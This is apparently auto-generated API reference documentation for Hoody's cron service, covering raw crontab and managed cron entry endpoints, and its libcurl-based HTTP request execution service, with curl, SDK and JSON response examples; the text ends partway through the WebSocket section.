

```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INTERNAL_SERVER_ERROR` | Internal server error | An unexpected error occurred on the server | Try again later, or contact support if the problem persists |
| `EXTERNAL_SERVICE_ERROR` | External service error | A required external service is unavailable or returned an error | Try again later when the external service is available |

---

# Raw Crontab

**Page:** api/cron/crontab

[Download Raw Markdown](./api/cron/crontab.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Raw Crontab

The Raw Crontab API provides low-level access to the system `crontab` for a given user. Use these endpoints to read the full crontab contents for a user, list the crontabs available across all users, and overwrite a user's crontab with a raw payload. These endpoints are useful when you need to inspect or bulk-replace a crontab without going through the managed entry endpoints.

## List all user crontabs

`GET /crontab`

Returns a paginated list of crontab entries for every user known to the system.

### Parameters

| Name   | In    | Type    | Required | Description           |
| ------ | ----- | ------- | -------- | --------------------- |
| `page` | query | integer | No       | Page number (1-based) |
| `limit` | query | integer | No       | Items per page (max 200) |



```bash
curl -X GET "https://api.example.com/api/cron/crontab/?page=1&limit=50" \
  -H "Authorization: Bearer <token>"
```


```javascript
const page = await client.cron.crontab.listGlobalIterator({ page: 1, limit: 50 });
for await (const crontab of page) {
  console.log(crontab);
}
```


```json
{
  "items": [
    {
      "crontab": "# m h dom mon dow command\n0 2 * * * /usr/local/bin/backup.sh",
      "user": "root"
    },
    {
      "crontab": "# m h dom mon dow command\n*/15 * * * * /usr/local/bin/healthcheck.sh",
      "user": "www-data"
    }
  ],
  "limit": 50,
  "page": 1,
  "total": 2
}
```


```json
{
  "code": "BACKEND_ERROR",
  "details": null,
  "message": "Internal server error"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |



## Get a user's crontab

`GET /users/{user}/crontab`

Returns the raw crontab contents for a single system user.

### Parameters

| Name   | In   | Type   | Required | Description      |
| ------ | ---- | ------ | -------- | ---------------- |
| `user` | path | string | Yes      | System username  |



```bash
curl -X GET "https://api.example.com/api/cron/crontab/users/root/crontab" \
  -H "Authorization: Bearer <token>"
```


```javascript
const crontab = await client.cron.crontab.get({ user: "root" });
console.log(crontab.crontab);
```


```json
{
  "crontab": "# m h dom mon dow command\n0 2 * * * /usr/local/bin/backup.sh",
  "user": "root"
}
```


```json
{
  "code": "INVALID_USER",
  "details": null,
  "message": "Invalid user"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_USER` | Invalid user | User parameter failed validation | Provide a valid system username |
| `INVALID_COMMENT` | Invalid comment | Comment is empty, too long, or contains newlines | Provide a short single-line comment |
| `INVALID_SCHEDULE` | Invalid schedule | Schedule is not a valid cron expression | Use a standard 5-field cron expression or @daily style macros |
| `INVALID_COMMAND` | Invalid command | Command field is empty or contains invalid characters | Provide a command without newlines |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page 1 or higher and limit between 1 and 200 |


```json
{
  "code": "USER_NOT_FOUND",
  "details": null,
  "message": "User not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested system user does not exist | Create the user or choose an existing username |
| `ENTRY_NOT_FOUND` | Entry not found | No managed entry with the provided id exists | List entries and retry with a valid id |


```json
{
  "code": "BACKEND_ERROR",
  "details": null,
  "message": "Internal server error"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |



## Update a user's crontab

`PUT /users/{user}/crontab`

Replaces the crontab for the given user with the supplied raw contents. Returns the updated crontab and the number of expired entries that were pruned during the operation.

### Parameters

| Name   | In   | Type   | Required | Description      |
| ------ | ---- | ------ | -------- | ---------------- |
| `user` | path | string | Yes      | System username  |



```bash
curl -X PUT "https://api.example.com/api/cron/crontab/users/root/crontab" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "crontab": "# m h dom mon dow command\n0 2 * * * /usr/local/bin/backup.sh"
  }'
```


```javascript
const result = await client.cron.crontab.put({
  user: "root",
  data: {
    crontab: "# m h dom mon dow command\n0 2 * * * /usr/local/bin/backup.sh"
  }
});
console.log(result.removed_expired);
```


```json
{
  "crontab": "# m h dom mon dow command\n0 2 * * * /usr/local/bin/backup.sh",
  "removed_expired": 0,
  "user": "root"
}
```


```json
{
  "code": "INVALID_USER",
  "details": null,
  "message": "Invalid user"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_USER` | Invalid user | User parameter failed validation | Provide a valid system username |
| `INVALID_COMMENT` | Invalid comment | Comment is empty, too long, or contains newlines | Provide a short single-line comment |
| `INVALID_SCHEDULE` | Invalid schedule | Schedule is not a valid cron expression | Use a standard 5-field cron expression or @daily style macros |
| `INVALID_COMMAND` | Invalid command | Command field is empty or contains invalid characters | Provide a command without newlines |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page 1 or higher and limit between 1 and 200 |


```json
{
  "code": "USER_NOT_FOUND",
  "details": null,
  "message": "User not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested system user does not exist | Create the user or choose an existing username |
| `ENTRY_NOT_FOUND` | Entry not found | No managed entry with the provided id exists | List entries and retry with a valid id |


```json
{
  "code": "PAYLOAD_TOO_LARGE",
  "details": null,
  "message": "Crontab payload exceeds the maximum allowed size"
}
```


```json
{
  "code": "BACKEND_ERROR",
  "details": null,
  "message": "Internal server error"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |




The `PUT /users/{user}/crontab` endpoint replaces the user's entire crontab. Any managed entries not included in the payload will be removed from the system crontab on the next reconciliation.

---

# Managed Entries

**Page:** api/cron/entries

[Download Raw Markdown](./api/cron/entries.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Managed Entries API provides endpoints to create, list, retrieve, update, and delete cron entries that the platform manages on behalf of a system user. Each managed entry pairs a cron schedule with a shell command, supports optional expiration and human-readable metadata, and tracks creation and update timestamps. Use these endpoints when you need programmatic control over scheduled jobs for a specific system user on the host.

## List entries

`GET /users/{user}/entries`

Returns a paginated list of crontab entries for the given system user. The response includes both managed entries (with schedule, command, and metadata) and raw crontab lines that exist outside of managed tracking.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `user` | path | string | Yes | System username |
| `page` | query | integer | No | Page number (1-based) |
| `limit` | query | integer | No | Items per page (max 200) |

### Response




```json
{
  "user": "deploy",
  "page": 1,
  "limit": 50,
  "total": 2,
  "entries": [
    {
      "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
      "type": "managed",
      "name": "Daily backup",
      "comment": "Runs the daily backup script",
      "schedule": "0 2 * * *",
      "schedule_human": "At 02:00 AM, every day",
      "command": "/usr/local/bin/backup.sh",
      "enabled": true,
      "expired": false,
      "expires_at": null,
      "created_at": "2024-11-01T10:30:00Z",
      "updated_at": "2024-11-15T14:22:00Z"
    },
    {
      "type": "raw",
      "line": "*/15 * * * * /usr/local/bin/healthcheck.sh"
    }
  ]
}
```




```json
{
  "code": "INVALID_USER",
  "message": "Invalid user",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_USER` | Invalid user | User parameter failed validation | Provide a valid system username |
| `INVALID_COMMENT` | Invalid comment | Comment is empty, too long, or contains newlines | Provide a short single-line comment |
| `INVALID_SCHEDULE` | Invalid schedule | Schedule is not a valid cron expression | Use a standard 5-field cron expression or @daily style macros |
| `INVALID_COMMAND` | Invalid command | Command field is empty or contains invalid characters | Provide a command without newlines |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page &ge; 1 and limit between 1 and 200 |




```json
{
  "code": "USER_NOT_FOUND",
  "message": "User not found",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested system user does not exist | Create the user or choose an existing username |
| `ENTRY_NOT_FOUND` | Entry not found | No managed entry with the provided id exists | List entries and retry with a valid id |




```json
{
  "code": "BACKEND_ERROR",
  "message": "Internal server error",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |




### SDK usage




```typescript
for await (const entry of client.cron.entries.listIterator({ user: "deploy" })) {
  console.log(entry);
}
```




```bash
curl -X GET "https://api.hoody.com/api/cron/entries/users/deploy/entries?page=1&limit=50"
```




## Get an entry

`GET /users/{user}/entries/{id}`

Returns the details of a single managed cron entry for the given system user.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `user` | path | string | Yes | System username |
| `id` | path | string | Yes | Managed entry id |

### Response




```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "user": "deploy",
  "name": "Daily backup",
  "comment": "Runs the daily backup script",
  "schedule": "0 2 * * *",
  "schedule_human": "At 02:00 AM, every day",
  "command": "/usr/local/bin/backup.sh",
  "enabled": true,
  "expired": false,
  "expires_at": null,
  "created_at": "2024-11-01T10:30:00Z",
  "updated_at": "2024-11-15T14:22:00Z"
}
```




```json
{
  "code": "INVALID_USER",
  "message": "Invalid user",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_USER` | Invalid user | User parameter failed validation | Provide a valid system username |
| `INVALID_COMMENT` | Invalid comment | Comment is empty, too long, or contains newlines | Provide a short single-line comment |
| `INVALID_SCHEDULE` | Invalid schedule | Schedule is not a valid cron expression | Use a standard 5-field cron expression or @daily style macros |
| `INVALID_COMMAND` | Invalid command | Command field is empty or contains invalid characters | Provide a command without newlines |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page &ge; 1 and limit between 1 and 200 |




```json
{
  "code": "ENTRY_NOT_FOUND",
  "message": "Entry not found",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested system user does not exist | Create the user or choose an existing username |
| `ENTRY_NOT_FOUND` | Entry not found | No managed entry with the provided id exists | List entries and retry with a valid id |




```json
{
  "code": "BACKEND_ERROR",
  "message": "Internal server error",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |




### SDK usage




```typescript
const entry = await client.cron.entries.get({
  user: "deploy",
  id: "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
});
```




```bash
curl -X GET "https://api.hoody.com/api/cron/entries/users/deploy/entries/a1b2c3d4-e5f6-7890-abcd-ef1234567890"
```




## Create an entry

`POST /users/{user}/entries`

Creates a new managed cron entry for the given system user. The endpoint requires a JSON request body describing the schedule and command to run.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `user` | path | string | Yes | System username |

### Response




```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "user": "deploy",
  "name": "Daily backup",
  "comment": "Runs the daily backup script",
  "schedule": "0 2 * * *",
  "schedule_human": "At 02:00 AM, every day",
  "command": "/usr/local/bin/backup.sh",
  "enabled": true,
  "expired": false,
  "expires_at": null,
  "created_at": "2024-11-01T10:30:00Z",
  "updated_at": "2024-11-01T10:30:00Z"
}
```




```json
{
  "code": "INVALID_SCHEDULE",
  "message": "Invalid schedule",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_USER` | Invalid user | User parameter failed validation | Provide a valid system username |
| `INVALID_COMMENT` | Invalid comment | Comment is empty, too long, or contains newlines | Provide a short single-line comment |
| `INVALID_SCHEDULE` | Invalid schedule | Schedule is not a valid cron expression | Use a standard 5-field cron expression or @daily style macros |
| `INVALID_COMMAND` | Invalid command | Command field is empty or contains invalid characters | Provide a command without newlines |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page &ge; 1 and limit between 1 and 200 |




```json
{
  "code": "USER_NOT_FOUND",
  "message": "User not found",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested system user does not exist | Create the user or choose an existing username |
| `ENTRY_NOT_FOUND` | Entry not found | No managed entry with the provided id exists | List entries and retry with a valid id |




```json
{
  "code": "BACKEND_ERROR",
  "message": "Internal server error",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |




### SDK usage




```typescript
const entry = await client.cron.entries.create({
  user: "deploy",
  data: {
    schedule: "0 2 * * *",
    command: "/usr/local/bin/backup.sh"
  }
});
```




```bash
curl -X POST "https://api.hoody.com/api/cron/entries/users/deploy/entries" \
  -H "Content-Type: application/json" \
  -d '{
    "schedule": "0 2 * * *",
    "command": "/usr/local/bin/backup.sh"
  }'
```




## Update an entry

`PATCH /users/{user}/entries/{id}`

Updates an existing managed cron entry for the given system user. Only the fields included in the request body are modified; omitted fields are left unchanged.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `user` | path | string | Yes | System username |
| `id` | path | string | Yes | Managed entry id |

### Response




```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "user": "deploy",
  "name": "Daily backup",
  "comment": "Runs the daily backup script",
  "schedule": "0 2 * * *",
  "schedule_human": "At 02:00 AM, every day",
  "command": "/usr/local/bin/backup.sh",
  "enabled": false,
  "expired": false,
  "expires_at": null,
  "created_at": "2024-11-01T10:30:00Z",
  "updated_at": "2024-11-15T14:22:00Z"
}
```




```json
{
  "code": "INVALID_SCHEDULE",
  "message": "Invalid schedule",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_USER` | Invalid user | User parameter failed validation | Provide a valid system username |
| `INVALID_COMMENT` | Invalid comment | Comment is empty, too long, or contains newlines | Provide a short single-line comment |
| `INVALID_SCHEDULE` | Invalid schedule | Schedule is not a valid cron expression | Use a standard 5-field cron expression or @daily style macros |
| `INVALID_COMMAND` | Invalid command | Command field is empty or contains invalid characters | Provide a command without newlines |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page &ge; 1 and limit between 1 and 200 |




```json
{
  "code": "ENTRY_NOT_FOUND",
  "message": "Entry not found",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested system user does not exist | Create the user or choose an existing username |
| `ENTRY_NOT_FOUND` | Entry not found | No managed entry with the provided id exists | List entries and retry with a valid id |




```json
{
  "code": "BACKEND_ERROR",
  "message": "Internal server error",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |




### SDK usage




```typescript
const entry = await client.cron.entries.update({
  user: "deploy",
  id: "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  data: {
    enabled: false
  }
});
```




```bash
curl -X PATCH "https://api.hoody.com/api/cron/entries/users/deploy/entries/a1b2c3d4-e5f6-7890-abcd-ef1234567890" \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": false
  }'
```




## Delete an entry

`DELETE /users/{user}/entries/{id}`

Deletes a managed cron entry for the given system user. The underlying crontab is rewritten to remove the entry; raw crontab lines are not affected.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `user` | path | string | Yes | System username |
| `id` | path | string | Yes | Managed entry id |

### Response




```json
{
  "deleted": true
}
```




```json
{
  "code": "INVALID_USER",
  "message": "Invalid user",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_USER` | Invalid user | User parameter failed validation | Provide a valid system username |
| `INVALID_COMMENT` | Invalid comment | Comment is empty, too long, or contains newlines | Provide a short single-line comment |
| `INVALID_SCHEDULE` | Invalid schedule | Schedule is not a valid cron expression | Use a standard 5-field cron expression or @daily style macros |
| `INVALID_COMMAND` | Invalid command | Command field is empty or contains invalid characters | Provide a command without newlines |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page &ge; 1 and limit between 1 and 200 |




```json
{
  "code": "ENTRY_NOT_FOUND",
  "message": "Entry not found",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested system user does not exist | Create the user or choose an existing username |
| `ENTRY_NOT_FOUND` | Entry not found | No managed entry with the provided id exists | List entries and retry with a valid id |




```json
{
  "code": "BACKEND_ERROR",
  "message": "Internal server error",
  "details": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |




### SDK usage




```typescript
const result = await client.cron.entries.delete({
  user: "deploy",
  id: "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
});
```




```bash
curl -X DELETE "https://api.hoody.com/api/cron/entries/users/deploy/entries/a1b2c3d4-e5f6-7890-abcd-ef1234567890"
```

---

# Hoody Cron

**Page:** api/cron/index

[Download Raw Markdown](./api/cron/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Hoody Cron API

The Cron service provides health monitoring and self-describing API documentation endpoints. Use these endpoints to verify the service is running, inspect its runtime state, and retrieve its OpenAPI specification in JSON or YAML format.

## Health

### `GET /health`

Returns the current health status and runtime metadata of the Cron service, including its process ID, IP address, memory usage, and uptime information.

This endpoint takes no parameters.



```bash
curl https://api.hoody.com/cron/health
```


```ts
const result = await client.cron.health.check();
```


Service is healthy

```json
{
  "status": "ok",
  "service": "cron",
  "started": "2025-01-15T10:00:00.000Z",
  "pid": 12345,
  "ip": "10.0.0.5",
  "fds": 12,
  "built": "2025-01-14T08:30:00.000Z",
  "user_agent": "hoody-cron/1.0.0",
  "memory": {
    "rss": 52428800,
    "heap": 31457280
  }
}
```

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `status` | string | Yes | Health status of the service |
| `service` | string | Yes | Name of the service |
| `started` | string | Yes | ISO 8601 timestamp of when the service started |
| `pid` | integer | Yes | Process ID of the running service |
| `ip` | string | Yes | IP address of the service instance |
| `fds` | integer \| null | No | Number of open file descriptors |
| `built` | string \| null | No | Build timestamp of the service binary |
| `user_agent` | string \| null | No | User agent string of the service |
| `memory` | object \| null | No | Memory usage details (`rss`, `heap` in bytes) |




## OpenAPI Specification

### `GET /openapi.json`

Returns the full OpenAPI specification for the Cron service as a JSON document. Use this to generate client libraries, validate requests, or explore the API schema programmatically.

This endpoint takes no parameters.



```bash
curl https://api.hoody.com/cron/openapi.json
```


```ts
const spec = await client.cron.system.getOpenApiJson();
```


OpenAPI JSON

The response body is a complete OpenAPI 3.x specification object describing all Cron service endpoints.

```json
{
  "openapi": "3.0.3",
  "info": {
    "title": "Hoody Cron API",
    "version": "1.0.0"
  },
  "paths": {}
}
```




### `GET /openapi.yaml`

Returns the full OpenAPI specification for the Cron service as a YAML document. Useful for tooling that prefers YAML input or for direct import into API gateways.

This endpoint takes no parameters.



```bash
curl https://api.hoody.com/cron/openapi.yaml
```


```ts
const spec = await client.cron.system.getOpenApiYaml();
```


OpenAPI YAML

The response body is a complete OpenAPI 3.x specification in YAML format.

```yaml
openapi: 3.0.3
info:
  title: Hoody Cron API
  version: 1.0.0
paths: {}
```



Render error

```json
{
  "code": "BACKEND_ERROR",
  "message": "Internal server error",
  "details": "Failed to render OpenAPI YAML specification"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `BACKEND_ERROR` | Backend error | Failed to read or write system crontab | Check crontab availability and permissions |

---

# Cron:crontab

**Page:** api/cron-crontab

[Download Raw Markdown](./api/cron-crontab.md)

---

:::caution[Autogenerated Warnings]
- Some endpoints are missing summaries in OpenAPI.
:::

## API Endpoints Summary

- **GET** `/crontab`
- **GET** `/users/{user}/crontab`
- **PUT** `/users/{user}/crontab`

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Cron:entries

**Page:** api/cron-entries

[Download Raw Markdown](./api/cron-entries.md)

---

:::caution[Autogenerated Warnings]
- Some endpoints are missing summaries in OpenAPI.
:::

## API Endpoints Summary

- **GET** `/users/{user}/entries`
- **POST** `/users/{user}/entries`
- **GET** `/users/{user}/entries/{id}`
- **PATCH** `/users/{user}/entries/{id}`
- **DELETE** `/users/{user}/entries/{id}`

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Cron:Health

**Page:** api/cron-health

[Download Raw Markdown](./api/cron-health.md)

---

:::caution[Autogenerated Warnings]
- Some endpoints are missing summaries in OpenAPI.
:::

## API Endpoints Summary

- **GET** `/api/v1/cron/health`

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Cron:system

**Page:** api/cron-system

[Download Raw Markdown](./api/cron-system.md)

---

:::caution[Autogenerated Warnings]
- Some endpoints are missing summaries in OpenAPI.
:::

## API Endpoints Summary

- **GET** `/openapi.yaml`
- **GET** `/openapi.json`

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# HTTP Request Execution

**Page:** api/curl/execution

[Download Raw Markdown](./api/curl/execution.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## HTTP Request Execution

Execute HTTP requests with full libcurl configuration, manage asynchronous background jobs, and subscribe to real-time job lifecycle events over WebSocket. The execution API supports both synchronous (immediate response) and asynchronous (background job) modes, with options for response wrapping, cookie sessions, retries, proxy configuration, and automatic response storage.

---

### `GET /api/v1/curl/request`

Simplified interface for executing HTTP requests using URL query parameters. Best suited for simple GET requests and quick testing. For advanced features, use the `POST` variant.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `url` | query | string | Yes | Target URL |
| `method` | query | string | No | HTTP method (default: `GET`) |
| `response` | query | string | No | Response mode: `transparent` or `json` (default: `json`) |
| `mode` | query | string | No | Execution mode: `sync` or `async` (default: `sync`) |
| `session_id` | query | string | No | Session ID for cookie persistence |
| `follow_redirects` | query | boolean | No | Follow redirects (default: `true`) |
| `timeout` | query | integer | No | Timeout in seconds |
| `user_agent` | query | string | No | User-Agent header |
| `referer` | query | string | No | Referer header |
| `bearer_token` | query | string | No | Bearer token |
| `save` | query | boolean | No | Save to storage |
| `save_path` | query | string | No | Custom save path, relative to `downloads/by-job/{job_id}` (no absolute paths or `..`) |
| `insecure` | query | boolean | No | Allow insecure SSL |
| `compressed` | query | boolean | No | Request compressed |
| `job_name` | query | string | No | Job name for async |
| `data` | query | string | No | Raw request body (curl --data); alias `body`; presence upgrades default method to POST |
| `json` | query | string | No | JSON request body, sent with Content-Type: application/json (curl --json); upgrades default method to POST |
| `header` | query | string | No | Custom header as `Name: Value`. Repeatable — supply once per header |
| `data_base64` | query | string | No | Base64 request body (binary-safe; standard or URL-safe); alias `body_base64`. Takes precedence over data/json; upgrades default method to POST |



```bash
curl -X GET "https://api.hoody.com/api/v1/curl/request?url=https%3A%2F%2Fapi.example.com%2Fdata&method=GET&response=json&timeout=30"
```


```typescript
const result = await client.curl.executeCurlRequestGet({
  url: "https://api.example.com/data",
  method: "GET",
  response: "json",
  timeout: 30
});
```


```json
{
  "success": true,
  "status_code": 200,
  "headers": {
    "content-type": "application/json",
    "server": "nginx/1.24.0"
  },
  "body": "{\"items\":[{\"id\":1,\"name\":\"Widget\"}]}",
  "is_binary": false,
  "job_id": null,
  "timing": {
    "namelookup": 0.012,
    "connect": 0.043,
    "pretransfer": 0.045,
    "starttransfer": 0.128,
    "redirect": 0.0,
    "total": 0.135
  },
  "metadata": {
    "effective_url": "https://api.example.com/data",
    "content_type": "application/json",
    "redirect_count": 0,
    "size_download": 31,
    "size_upload": 0,
    "speed_download": 229.6,
    "speed_upload": 0
  }
}
```


```json
{
  "job_id": "01HMZ8X9K2QF3N5P7R8T6V4WYD",
  "status": "pending",
  "message": "Request accepted for async execution"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Missing required parameter: url"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_URL` | Missing or invalid URL | URL parameter is required and must be valid | Provide `url` parameter with complete URL including protocol |
| `INVALID_PARAMETER` | Invalid query parameter | One or more query parameters have invalid values | Check parameter values match expected types (e.g., `timeout` as number) |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Network connection failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NETWORK_ERROR` | Network request failed | Failed to execute HTTP request via cURL | Verify target URL accessibility and network connectivity |



---

### `POST /api/v1/curl/request`

Execute an HTTP request using libcurl with comprehensive configuration options. Supports both synchronous (immediate response) and asynchronous (background job) execution modes. Includes advanced features like retry logic, cookie sessions, proxy configuration, and automatic response storage.

**Execution Modes:**
- `sync` (default): Blocks until completion, returns immediate response
- `async`: Returns job ID immediately, executes in background

**Response Modes:**
- `transparent` (default): Returns raw response with original headers
- `json`: Wraps response in JSON with timing metrics and metadata

**Example Use Cases:**
- API integration with automatic retry
- Large file downloads with progress tracking
- Multi-step authentication flows with session cookies
- Scheduled recurring requests with cron expressions

This endpoint takes no query, path, or header parameters.

#### Request Body

The request body uses the `curl_CurlRequest` schema. `url` is the only required field; all other fields are optional. Unknown fields are rejected.



```bash
curl -X POST "https://api.hoody.com/api/v1/curl/request" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://api.example.com/v1/orders",
    "method": "POST",
    "mode": "sync",
    "response": "json",
    "headers": {
      "Content-Type": "application/json",
      "X-Request-ID": "req-7f3a9b"
    },
    "json": {
      "sku": "WDG-001",
      "quantity": 2
    },
    "bearer_token": "eyJhbGciOiJIUzI1NiIs...",
    "timeout": 30,
    "retry_count": 3,
    "retry_delay": 5,
    "follow_redirects": true
  }'
```


```typescript
const result = await client.curl.execute({
  url: "https://api.example.com/v1/orders",
  method: "POST",
  mode: "sync",
  response: "json",
  headers: {
    "Content-Type": "application/json",
    "X-Request-ID": "req-7f3a9b"
  },
  json: {
    sku: "WDG-001",
    quantity: 2
  },
  bearer_token: "eyJhbGciOiJIUzI1NiIs...",
  timeout: 30,
  retry_count: 3,
  retry_delay: 5,
  follow_redirects: true
});
```


```json
{
  "success": true,
  "status_code": 201,
  "headers": {
    "content-type": "application/json",
    "location": "/v1/orders/ord_123"
  },
  "body": "{\"id\":\"ord_123\",\"status\":\"created\"}",
  "is_binary": false,
  "job_id": null,
  "timing": {
    "namelookup": 0.008,
    "connect": 0.031,
    "pretransfer": 0.033,
    "starttransfer": 0.102,
    "redirect": 0.0,
    "total": 0.108
  },
  "metadata": {
    "effective_url": "https://api.example.com/v1/orders",
    "content_type": "application/json",
    "redirect_count": 0,
    "size_download": 36,
    "size_upload": 38,
    "speed_download": 333.3,
    "speed_upload": 351.8
  }
}
```


```json
{
  "job_id": "01HMZ8X9K2QF3N5P7R8T6V4WYD",
  "status": "pending",
  "mode": "async",
  "message": "Request accepted for async execution"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid URL format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_URL` | Malformed URL | The provided URL is not in valid format | Provide a complete URL with protocol (e.g., `https://example.com`) |
| `INVALID_PARAMETER` | Invalid parameter value | One or more parameters contain invalid values | Check parameter types and allowed values in API documentation |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Connection timeout after 30 seconds"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NETWORK_ERROR` | Network request failed | cURL could not complete the HTTP request | Check target URL is accessible, verify network connectivity, check timeout settings |



---

### `GET /api/v1/curl/ws`

Establish a WebSocket connection that receives job lifecycle events in JSON.

**Messages:**
- `jobstarted` &mdash; payload: `{job_id, name}`
- `jobprogress` &mdash; payload: `{job_id, progress}` (progress is a `0..1` fraction)
- `jobcompleted` &mdash; payload: `{job_id, status}`
- `error` &mdash; payload: `{message}`

**Filtering:**
- Pass the `job_id` query parameter to only receive events for a single job.


Use `getJob` for snapshot state, and the WebSocket for live updates.


#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `job_id` | query | string | No | Optional job ID filter |



```javascript
const ws = new WebSocket("wss://api.hoody.com/api/v1/curl/ws?job_id=01HMZ8X9K2QF3N5P7R8T6V4WYD");

ws.onmessage = (event) => {
  const msg = JSON.parse(event.data);
  switch (msg.event) {
    case "jobstarted":
      console.log(`Job ${msg.job_id} started: ${msg.name}`);
      break;
    case "jobprogress":
      console.log(`Job ${msg.job_id} progress: ${(msg.progress * 100).toFixed(1)}%`);
      break;
    case "jobcompleted":
      console.log(`Job ${msg.job_id} finished: ${msg.status}`);
      break;
    case "error":
      console.error(`Error: ${msg.message}`);
      break;
  }
};
```


```typescript
const stream = await client.curl.events.streamWs({
  job_id: "01HMZ8X9K2QF3N5P7R8T6V4WYD"
});

for await (const event of stream) {
  console.log(event);
}
```


```
HTTP/1.1 101 Switching Protocols
